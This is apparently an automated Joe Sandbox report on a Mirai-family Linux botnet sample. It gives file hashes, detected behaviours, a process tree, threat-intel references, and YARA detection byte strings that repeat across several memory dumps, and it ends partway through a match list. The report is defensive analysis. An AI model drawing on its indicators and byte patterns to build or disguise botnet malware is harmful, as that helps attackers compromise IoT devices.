Edit tour

Linux Analysis Report
sh4.elf

Overview

General Information

Sample name:	sh4.elf
Analysis ID:	1619326
MD5:	4b33d81228b1c4713abe202a73d250e5
SHA1:	2dc79c21478928aa098fc8484e62d7614e825bef
SHA256:	6b0be91e8e0ebb89d26285735f6833c3303189a558074afd0652107220910784
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1619326
Start date and time:	2025-02-19 19:47:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sh4.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@2/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/sh4.elf
PID:	5523
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected By Cult
Standard Error:

Process Tree

system is lnxubuntu20

sh4.elf (PID: 5523, Parent: 5441, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/sh4.elf

sh4.elf New Fork (PID: 5525, Parent: 5523)

sh4.elf New Fork (PID: 5683, Parent: 5525)

sh4.elf New Fork (PID: 5684, Parent: 5525)

sh4.elf New Fork (PID: 5687, Parent: 5684)

sh4.elf New Fork (PID: 5692, Parent: 5684)

sh4.elf New Fork (PID: 5694, Parent: 5684)

sh4.elf New Fork (PID: 5696, Parent: 5684)

sh4.elf New Fork (PID: 5706, Parent: 5696)

sh4.elf New Fork (PID: 5708, Parent: 5696)

sh4.elf New Fork (PID: 5698, Parent: 5684)

sh4.elf New Fork (PID: 5701, Parent: 5684)

sh4.elf New Fork (PID: 5526, Parent: 5523)

sh4.elf New Fork (PID: 5528, Parent: 5523)

sh4.elf New Fork (PID: 5531, Parent: 5528)

sh4.elf New Fork (PID: 5532, Parent: 5528)

sh4.elf New Fork (PID: 5534, Parent: 5528)

sh4.elf New Fork (PID: 5538, Parent: 5528)

sh4.elf New Fork (PID: 5540, Parent: 5528)

sh4.elf New Fork (PID: 5541, Parent: 5528)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sh4.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
sh4.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
sh4.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
sh4.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64

Memory Dumps

Source	Rule	Description	Author	Strings
5540.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5540.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5540.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5540.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5531.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5531.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5531.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5531.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5523.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5523.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5523.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5523.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5541.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5541.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5541.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5541.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5534.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5534.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5534.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5534.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5706.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5706.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5706.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 